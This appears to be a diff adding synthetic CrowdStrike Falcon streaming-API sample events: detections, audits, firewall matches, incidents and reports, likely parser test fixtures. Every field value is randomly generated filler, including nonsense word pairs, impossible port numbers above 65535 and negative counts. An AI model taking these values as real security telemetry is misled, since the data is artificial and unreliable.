+{"metadata": {"customerIDString": "allteam","offset": -128608230,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "abundantkitchen","MobileDetectionId": 1038837053,"ComputerName": "everybodyteam","UserName": "whattroop","ContextTimeStamp": 1649061056,"DetectId": "jitterydoor","DetectName": "whichwelfare","DetectDescription": "mustering company timing sheaf world truth brilliance goal comfort flock clarity watch band plane darkness posse problem shower week illtablet","Tactic": "vastorange","TacticId": "grumpymustering","Technique": "nobodyannoyance","TechniqueId": "itsfrock","Objective": "Afghanpair","Severity": 24,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/lemonydishonesty?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "nobodyalligator","AndroidAppLabel": "mushybundle","DexFileHashes": "therewealth","ImageFileName": "howriches","AppInstallerInformation": "greatteam","IsBeingDebugged": false,"AndroidAppVersionName": "sufficientadvertising","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "unusualplace","offset": -1870564443,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "whatarmy","IncidentDescription": "thing posse fleet group beauty gang hand scheme coldness gang battery mob place gain shower team adult equipment thing bunch dream case thatway","Severity": 51,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "wildgroup","UserName": "whichcar","EndpointName": "dullpoint","EndpointIp": "7.205.115.2","Category": "Detections","NumbersOfAlerts": -1262257511,"NumberOfCompromisedEntities": 992639384,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whosechildhood?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "itbouquet","offset": 6129949,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "everyonebattery","Highlights": ["anyonefield"],"MatchedTimestamp": 1686889114000,"RuleId": "hishost","RuleName": "Peruviangrandfather","RuleTopic": "littleswan","RulePriority": "yourdanger","ItemId": "myhorde","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "lots ofpart","offset": 1037283426,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "so fewbaby","UserIp": "69.1.75.38","OperationName": "resetAuthSecret","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "Turkishbatch","ValueString": "someonenecklace"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "thoseaid"}}}
+{"metadata": {"customerIDString": "hisbrilliance","offset": -128771518,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "eagerbattery","UserIp": "157.31.134.135","OperationName": "revokeUserRoles","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whichgrandmother","ValueString": "Colombianfriendship"}],"Attributes": {"actor_cid": "substantialherbs","actor_user": "manyharm","actor_user_uuid": "hisvilla","app_id": "grievingresearch","saml_assertion": "hiscompany","target_user": "theirfriendship","trace_id": "lightproblem"}}}
+{"metadata": {"customerIDString": "everybodybowl","offset": -1144620000,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "mymuster","PolicyId": -1726339930,"PolicyStatement": "enough ofsedge","CloudProvider": "whereline","CloudService": "theirperson","Severity": 97,"SeverityName": "High","EventAction": "howeye","EventSource": "fiercemodel","EventCreatedTimestamp": 1663011160,"UserId": "howthing","UserName": "whichtravel","UserSourceIp": "115.56.203.169","Tactic": "somebodyfear","Technique": "lightadvantage"}}
+{"metadata": {"customerIDString": "whosefailure","offset": 2823017,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "yourpod","UserID": "eachnewspaper","ExecutionID": "Laotianboots","ReportID": "yourscooter","ReportName": "allfrailty","ReportType": "theirheat","ReportFileReference": "whatsilence","Status": "nobodyexaltation","StatusMessage": "herparty","ExecutionMetadata": {"ExecutionStart": -1613912222,"ExecutionDuration": 1846147691,"ReportFileName": "impromptubus","ResultCount": 447659694,"ResultID": "Turkishishcollection","SearchWindowStart": 1262880322,"SearchWindowEnd": 593349689}}}
+{"metadata": {"customerIDString": "manypod","offset": 1415680558,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Laotiancast","UserIp": "17.103.228.141","OperationName": "createUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "alltrade","ValueString": "heavygrandfather"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "whatposse"}}}
+{"metadata": {"customerIDString": "thereparty","offset": 2091174933,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 413575027,"ProcessEndTime": 744337427,"ProcessId": -747455923,"ParentProcessId": -1353657252,"ComputerName": "thesemurder","UserName": "tastyband","DetectName": "Asiangift","DetectDescription": "manyday","Severity": 0,"SeverityName": "Informational","FileName": "thereparty","FilePath": "hermuster\\thereparty","CommandLine": "C:\\Windows\\Sudanesebook","SHA256String": "Canadianlibrary","MD5String": "repulsivewrist","SHA1String": "nonerange","MachineDomain": "anycrowd","NetworkAccesses": [{"AccessType": 2045864891,"AccessTimestamp": 1751371565,"Protocol": "hertroupe","LocalAddress": "175.28.224.152","LocalPort": 49858,"RemoteAddress": "251.235.22.110","RemotePort": 45381,"ConnectionDirection": 1,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/panickedboard?_cid=xxxxxxx","SensorId": "herposse","IOCType": "registry_key","IOCValue": "heavyhospitality","DetectId": "a lotcloud","LocalIP": "36.65.231.175","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "nonefiction","Technique": "thatball","Objective": "whyharvest","PatternDispositionDescription": "team furniture thing party wad part guilt horror book mob block lawn year so fewposse","PatternDispositionValue": -247944075,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "whattroupe","ParentCommandLine": "over therepatrol","GrandparentImageFileName": "carefultrip","GrandparentCommandLine": "howbutter","HostGroups": "kubannest","AssociatedFile": "thisdream","PatternId": 2141955879}}
+{"metadata": {"customerIDString": "theircluster","offset": -1130609459,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1801271134,"ProcessEndTime": 1989779501,"ProcessId": -946478599,"ParentProcessId": 367735827,"ComputerName": "thisloss","UserName": "Britishlibrary","DetectName": "eachchicken","DetectDescription": "host field group point bermudas person life care bevy part way crew leap blazer quiver notebook trip stack pen orange lightirritation","Severity": 4,"SeverityName": "Medium","FileName": "severalgrade","FilePath": "whoseprogress\\severalgrade","CommandLine": "C:\\Windows\\anythingparty","SHA256String": "noneplane","MD5String": "franticweek","SHA1String": "somegoodness","MachineDomain": "Barcelonianposse","NetworkAccesses": [{"AccessType": -1489347524,"AccessTimestamp": 1751371565,"Protocol": "thereawareness","LocalAddress": "139.113.62.38","LocalPort": 71472,"RemoteAddress": "229.105.119.123","RemotePort": 79397,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/wheremachine?_cid=xxxxxxx","SensorId": "howboy","IOCType": "hash_sha256","IOCValue": "heregenetics","DetectId": "Sammarinesechild","LocalIP": "9.153.80.221","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "yourtroop","Technique": "itsentertainment","Objective": "oneemployment","PatternDispositionDescription": "woman strawberry telephone case line pronunciation orchard problem shoulder paper party company fun pack wall quiver fire school hatred fact quiver thing nonebale","PatternDispositionValue": 2000047797,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": false,"SensorOnly": false,"Rooting": true,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "thatfact","ParentCommandLine": "wherestreet","GrandparentImageFileName": "therepain","GrandparentCommandLine": "ourharm","HostGroups": "itsdisregard","AssociatedFile": "somefish","PatternId": 853927344}}
+{"metadata": {"customerIDString": "myadvantage","offset": -1987247065,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "nonefailure","MobileDetectionId": 492499962,"ComputerName": "insufficientdisregard","UserName": "hundredstroop","ContextTimeStamp": 1649061056,"DetectId": "improvisedweek","DetectName": "relievedcrew","DetectDescription": "line cat freedom line microscope scold work towel room luxuty airport mouth group harvest woman elephant microscope cash congregation heremagic","Tactic": "ourplace","TacticId": "theirhost","Technique": "yourclass","TechniqueId": "manyfarm","Objective": "ourreligion","Severity": 11,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/pricklingarchitect?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "nobodyboxers","AndroidAppLabel": "Newtonianyard","DexFileHashes": "whatposse","ImageFileName": "bravegroup","AppInstallerInformation": "noneclarity","IsBeingDebugged": false,"AndroidAppVersionName": "thosemouth","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "Putinistchild","offset": 547025139,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "whichchoker","Highlights": ["therekindness"],"MatchedTimestamp": 1686889114000,"RuleId": "hisleap","RuleName": "Torontonianclump","RuleTopic": "Tibetanarmy","RulePriority": "everybodyscold","ItemId": "whosejudge","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "thesepack","offset": 576302949,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "eachtime","MobileDetectionId": 353638587,"ComputerName": "wherefreedom","UserName": "tamearrow","ContextTimeStamp": 1649061056,"DetectId": "bravebale","DetectName": "eitherhorde","DetectDescription": "religion chaise longue supermarket troupe accommodation danger company cackle caravan day hedge sedge punctuation stress comfort work improvisedcomb","Tactic": "nobodymustering","TacticId": "couplemuster","Technique": "everystand","TechniqueId": "hundredsfact","Objective": "nohand","Severity": 3,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everyboard?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "doubleperson","AndroidAppLabel": "thatribs","DexFileHashes": "whystress","ImageFileName": "whyclass","AppInstallerInformation": "anyschool","IsBeingDebugged": true,"AndroidAppVersionName": "severalbunch","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "a littlesister","offset": 497930223,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "fullleap","State": "open","FineScore": 8.253328187024268,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "thesemob","HostID": "nonepollution","LMHostIDs": ["howidea"],"UserId": "enough ofparty"}}
+{"metadata": {"customerIDString": "theregrandmother","offset": -377888476,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "whybevy","State": "closed","FineScore": 2.4581723447643586,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "itscaravan","HostID": "thosegeneration","LMHostIDs": ["Norwegianbrain"],"UserId": "therebrace"}}
+{"metadata": {"customerIDString": "anythingteam","offset": -1935320999,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Machiavellianowl","UserIp": "114.202.79.254","OperationName": "changePassword","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "everybodybowl","ValueString": "fewenthusiasm"}],"Attributes": {"actor_cid": "thesearchipelago","actor_user": "howbook","actor_user_uuid": "ouroutfit","app_id": "thattribe","saml_assertion": "muchteam","target_user": "eachslippers","trace_id": "thisway"}}}
+{"metadata": {"customerIDString": "thatpagoda","offset": 2063223742,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "hisparty","DetectName": "howream","DetectDescription": "calm team battery cackle umbrella spoon fleet equipment finger justice bunch idea eachtomato","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whoseclass?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 11,"SeverityName": "Critical","Tactic": "mybowl","Technique": "abundantcompany","Objective": "mushypower","SourceAccountDomain": "over thereweek","SourceAccountName": "anythingmuster","SourceAccountObjectSid": "Frenchproblem","SourceEndpointAccountObjectGuid": "wheretime","SourceEndpointAccountObjectSid": "Portuguesepacket","SourceEndpointHostName": "hereemployment","SourceEndpointIpAddress": "201.174.150.217","SourceEndpointSensorId": "drabpyramid","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whygroup","PatternId": 133765209}}
+{"metadata": {"customerIDString": "nonegauva","offset": 316797287,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "allinvention","HostnameField": "nonedesk","UserName": "whyteam","StartTimestamp": 1582830734,"AgentIdString": "wherebunch"}}
+{"metadata": {"customerIDString": "hereschool","offset": -151133312,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Slovakbowl","PolicyId": -1128670304,"PolicyStatement": "manyleap","CloudProvider": "severalboard","CloudService": "yourgarden","Severity": 41,"SeverityName": "High","EventAction": "whyloss","EventSource": "enough ofreel","EventCreatedTimestamp": 1663011160,"UserId": "sometroop","UserName": "Uzbekcaravan","UserSourceIp": "96.213.136.114","Tactic": "shybrain","Technique": "thatcountry"}}
+{"metadata": {"customerIDString": "Iraqifailure","offset": -1166009564,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "herwork","UserIp": "215.199.50.84","OperationName": "grantUserRoles","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "hischildhood","ValueString": "herlie"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "tensejealousy"}}}
+{"metadata": {"customerIDString": "eitherchapter","offset": -1005552837,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "whichpoverty","State": "open","FineScore": 0.8797163430774031,"LateralMovement": 1,"IncidentType": 1,"IncidentID": "herday","HostID": "myteam","LMHostIDs": ["gorgeouscalm"],"UserId": "Kazakhreligion"}}
+{"metadata": {"customerIDString": "greatstring","offset": 1475365269,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "whichmob","CustomerId": "motionlessheap","Ipv": "213.219.212.194","CommandLine": "Mexicanuncle","ConnectionDirection": "0","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "everyonebunch","ICMPCode": "whoserain","ICMPType": "smilingdetective","ImageFileName": "wherescale","LocalAddress": "194.18.54.3","LocalPort": "42330","MatchCount": -275661217,"MatchCountSinceLastReport": -1728798315,"NetworkProfile": "whichlove","PID": "1288009452","PolicyName": "someonehedge","PolicyID": "nonegroup","Protocol": "howcardigan","RemoteAddress": "175.98.186.191","RemotePort": "10099","RuleAction": "nicheeye","RuleDescription": "thing batch pod quiver metal mob leap basket coldness troupe butter advertising mustering range thing nurse work dynasty adventurousminute","RuleFamilyID": "sparseluck","RuleGroupName": "littlepatience","RuleName": "itsbody","RuleId": "whichedge","Status": "itslake","Timestamp": 1751371830,"TreeID": "eagerpart"}}
+{"metadata": {"customerIDString": "Shakespeareanawareness","offset": 955097522,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "theseheart","Highlights": ["Polishcompany"],"MatchedTimestamp": 1686889114000,"RuleId": "whichbeach","RuleName": "everythingbowl","RuleTopic": "Laotiansnow","RulePriority": "a littleair","ItemId": "thatstream","ItemType": "6G_EXTERNAL","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "lots ofclub","offset": -1462084068,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "therehat","UserID": "manyboard","ExecutionID": "powerlesseye","ReportID": "mushychoir","ReportName": "delightfulpacket","ReportType": "itscloud","ReportFileReference": "arrogantgrowth","Status": "anythingshrimp","StatusMessage": "whichhatred","ExecutionMetadata": {"ExecutionStart": -113504493,"ExecutionDuration": 319132957,"ReportFileName": "wheredynasty","ResultCount": -2023836113,"ResultID": "whyman","SearchWindowStart": -657242877,"SearchWindowEnd": 1977481583}}}
+{"metadata": {"customerIDString": "Taiwanesebunch","offset": 1302564661,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "nobodycaravan","UserIp": "93.155.125.188","OperationName": "resetAuthSecret","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "angryline","ValueString": "tensetoy"}],"Attributes": {"actor_cid": "hercinema","actor_user": "ourwoman","actor_user_uuid": "somework","app_id": "everygroup","saml_assertion": "hisjealousy","target_user": "repulsivejourney","trace_id": "nobodyfurniture"}}}
+{"metadata": {"customerIDString": "boredfield","offset": -1108903205,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "kindexaltation","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\itstrip","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Cloud","Description": "line number calm fox assistance cinema table gang congregation cackle gang currency pool wisp remote week hedge group group covey group frailty Dutchhost","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hundredslaughter?_cid=xxxxxxx","FileName": "Greekmovement","FilePath": "itspatience\\Greekmovement","FilesAccessed": [{"FileName": "Greekmovement","FilePath": "itspatience\\Greekmovement","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Greekmovement","FilePath": "itspatience\\Greekmovement","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\perfectsleep","GrandParentImageFileName": "enoughhost","GrandParentImageFilePath": "whykoala\\enoughhost","HostGroups": "Sudanesesweater","Hostname": "allsafety","LocalIP": "123.243.79.106","LocalIPv6": "175.173.153.31","LogonDomain": "severalnumber","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "Portuguesepalm","Name": "couplerange","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 113236423,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "158.133.57.226","LocalPort": 33528,"Protocol": "somefleet","RemoteAddress": "142.155.141.88","RemotePort": 60120}],"Objective": "cutetoothbrush","ParentCommandLine": "C:\\Windows\\yoursalt\\nobodyweather","ParentImageFileName": "nobodyweather","ParentImageFilePath": "shyusage\\nobodyweather","ParentProcessId": -1359678165,"PatternDispositionDescription": "swimming pool stand host mystudent","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": false,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -2102588479,"PatternId": -469512368,"PlatformId": "whereboard","PlatformName": "Linux","ProcessEndTime": 1390910424,"ProcessId": -1379631775,"ProcessStartTime": 911758269,"ReferrerUrl": "over theretrip","SHA1String": "over therecity","SHA256String": "mystand","Severity": 13,"SeverityName": "Medium","SourceProducts": "itsdivorce","SourceVendors": "defiantteen","Tactic": "South Americanconfusion","Technique": "nonearmy","Type": "ofp","UserName": "theirsoftware"}}
+{"metadata": {"customerIDString": "anyoneusage","offset": -1405121981,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "numerousstaff","DataDomains": "Web","Description": "soup brace regiment bale oven book motivation labour dynasty butter school mustering music air party over thereman","DetectId": "coupleposse","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "54.117.159.151","HostNames": "Burkinesecluster","Name": "everybodysink","PatternId": -1890638280,"Severity": 2,"SourceProducts": "wickedpeace","SourceVendors": "youraid","StartTimeEpoch": 1643317697728000000,"TacticIds": "disturbedcluster","Tactics": "whathorror","TechniqueIds": "manyweek","Techniques": "Diabolicalharvest","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "Barbadiancongregation","offset": -1339545627,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "cleversand","DataDomains": "Email","Description": "week range class temple liter flock crib mob cast time gas station troupe person orangelitter","DetectId": "Nepalesefood","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "153.22.103.211","HostNames": "wrongpeace","Name": "oneparty","PatternId": 572958802,"Severity": 66,"SourceProducts": "easywad","SourceVendors": "whichthing","StartTimeEpoch": 1643317697728000000,"TacticIds": "eitherfrog","Tactics": "cruelpatience","TechniqueIds": "everyonebattery","Techniques": "hurtnumber","XdrType": "xdr-scheduled-search" } }}
+{"metadata": {"customerIDString": "everypad","offset": 794604786,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "wherelibrary","MobileDetectionId": -813741988,"ComputerName": "whatheap","UserName": "wholebasket","ContextTimeStamp": 1649061056,"DetectId": "howdoor","DetectName": "eachbunch","DetectDescription": "basket somewad","Tactic": "whosecrime","TacticId": "pricklingpatience","Technique": "hertraffic","TechniqueId": "halfsnow","Objective": "neitherfreedom","Severity": 22,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whereboard?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "significanthost","AndroidAppLabel": "enoughcast","DexFileHashes": "eachworld","ImageFileName": "whoseleap","AppInstallerInformation": "fewgossip","IsBeingDebugged": false,"AndroidAppVersionName": "whichperson","IsContainerized": false}]}}
+{"metadata": {"customerIDString": "grievingwork","offset": 1735509124,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "hispack","Highlights": ["howsafety"],"MatchedTimestamp": 1686889114000,"RuleId": "sparseaunt","RuleName": "whosebeauty","RuleTopic": "thisfuel","RulePriority": "nomilk","ItemId": "wanderingarmy","ItemType": "CS","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "wholecalm","offset": 119058977,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "everythinghappiness","MobileDetectionId": 1790881276,"ComputerName": "itsmagic","UserName": "Swaziset","ContextTimeStamp": 1649061056,"DetectId": "theirfriendship","DetectName": "mychapter","DetectDescription": "success Barbadianpatience","Tactic": "thesepart","TacticId": "mytrench coat","Technique": "Bismarckianproblem","TechniqueId": "noneproduct","Objective": "cheerfulhomework","Severity": 0,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Greekcovey?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "repellingstream","AndroidAppLabel": "Indonesiancompany","DexFileHashes": "thatposse","ImageFileName": "thesechoir","AppInstallerInformation": "wholescold","IsBeingDebugged": false,"AndroidAppVersionName": "thosedarkness","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "whoseidea","offset": 429948887,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "itman","UserID": "myman","ExecutionID": "couplebrace","ReportID": "somebodyappetite","ReportName": "itvillage","ReportType": "Laotiantiger","ReportFileReference": "heavilygroup","Status": "smilingwisp","StatusMessage": "anyonehedge","ExecutionMetadata": {"ExecutionStart": 116137639,"ExecutionDuration": -1503286001,"ReportFileName": "someboard","ResultCount": -2104069598,"ResultID": "Dutchcontent","SearchWindowStart": 744397747,"SearchWindowEnd": -178323514}}}
+{"metadata": {"customerIDString": "Spanishcrew","offset": 914702321,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "anyonebunch","PolicyId": 1444123637,"PolicyStatement": "muchcare","CloudProvider": "fewgovernment","CloudService": "allintelligence","Severity": 95,"SeverityName": "High","EventAction": "theirtroop","EventSource": "wherehorde","EventCreatedTimestamp": 1663011160,"UserId": "noneperson","UserName": "wherearmy","UserSourceIp": "161.114.44.124","Tactic": "heregrowth","Technique": "enoughfailure"}}
+{"metadata": {"customerIDString": "someonealligator","offset": 860688524,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "theirpoint","CustomerId": "abundantbed","Ipv": "91.28.150.14","CommandLine": "herehelp","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": true},"HostName": "Colombiancane","ICMPCode": "whyjustice","ICMPType": "anythingarmy","ImageFileName": "terriblecatalog","LocalAddress": "117.250.17.164","LocalPort": "77788","MatchCount": -1192201294,"MatchCountSinceLastReport": 1317194809,"NetworkProfile": "itteam","PID": "2145148567","PolicyName": "abundantfreedom","PolicyID": "wherewater","Protocol": "Sudanesepod","RemoteAddress": "89.158.1.159","RemotePort": "67431","RuleAction": "nicehappiness","RuleDescription": "guilt orchard gossip year oxygen pod nest nest crime bridge chapter progress peace flock class parfume market government singlequiver","RuleFamilyID": "everythingluxuty","RuleGroupName": "Peruviancravat","RuleName": "itsgang","RuleId": "gorgeoushappiness","Status": "wholeliterature","Timestamp": 1751371830,"TreeID": "wherebrother"}}
+{"metadata": {"customerIDString": "wheretrench coat","offset": 396827393,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "a littlewisdom","HostnameField": "whygirl","UserName": "tensetiming","StartTimestamp": 1582830734,"AgentIdString": "oneobesity"}}
+{"metadata": {"customerIDString": "nobodyconfusion","offset": -2046425906,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "homelessbookstore","UserIp": "175.43.209.29","OperationName": "changePassword","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "itsjourney","ValueString": "whylitter"}],"Attributes": {"actor_cid": "myeye","actor_user": "anyinvention","actor_user_uuid": "whoselie","app_id": "heavyhelp","saml_assertion": "fewanger","target_user": "itbat","trace_id": "thosedynasty"}}}
+{"metadata": {"customerIDString": "ourbunch","offset": 660537174,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "Spanishhour","DetectName": "numerouscompany","DetectDescription": "road racism quiver tiger library team pain advantage congregation fewworld","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/heavymarriage?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 80,"SeverityName": "High","Tactic": "anygroup","Technique": "anyreligion","Objective": "Beninesedeskpath","SourceAccountDomain": "a little bithappiness","SourceAccountName": "Frenchsnow","SourceAccountObjectSid": "toomercy","SourceEndpointAccountObjectGuid": "mostdetermination","SourceEndpointAccountObjectSid": "thesepicture","SourceEndpointHostName": "Brazilianeye","SourceEndpointIpAddress": "72.145.251.171","SourceEndpointSensorId": "sparseball","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whyfiction","PatternId": 1014331507}}
+{"metadata": {"customerIDString": "severalcare","offset": 1342695248,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "amusedpencil","State": "open","FineScore": 0.7641910996681891,"LateralMovement": 1,"IncidentType": 2,"IncidentID": "Balinesehorde","HostID": "eachcomb","LMHostIDs": ["numerousbrilliance"],"UserId": "enough ofpack"}}
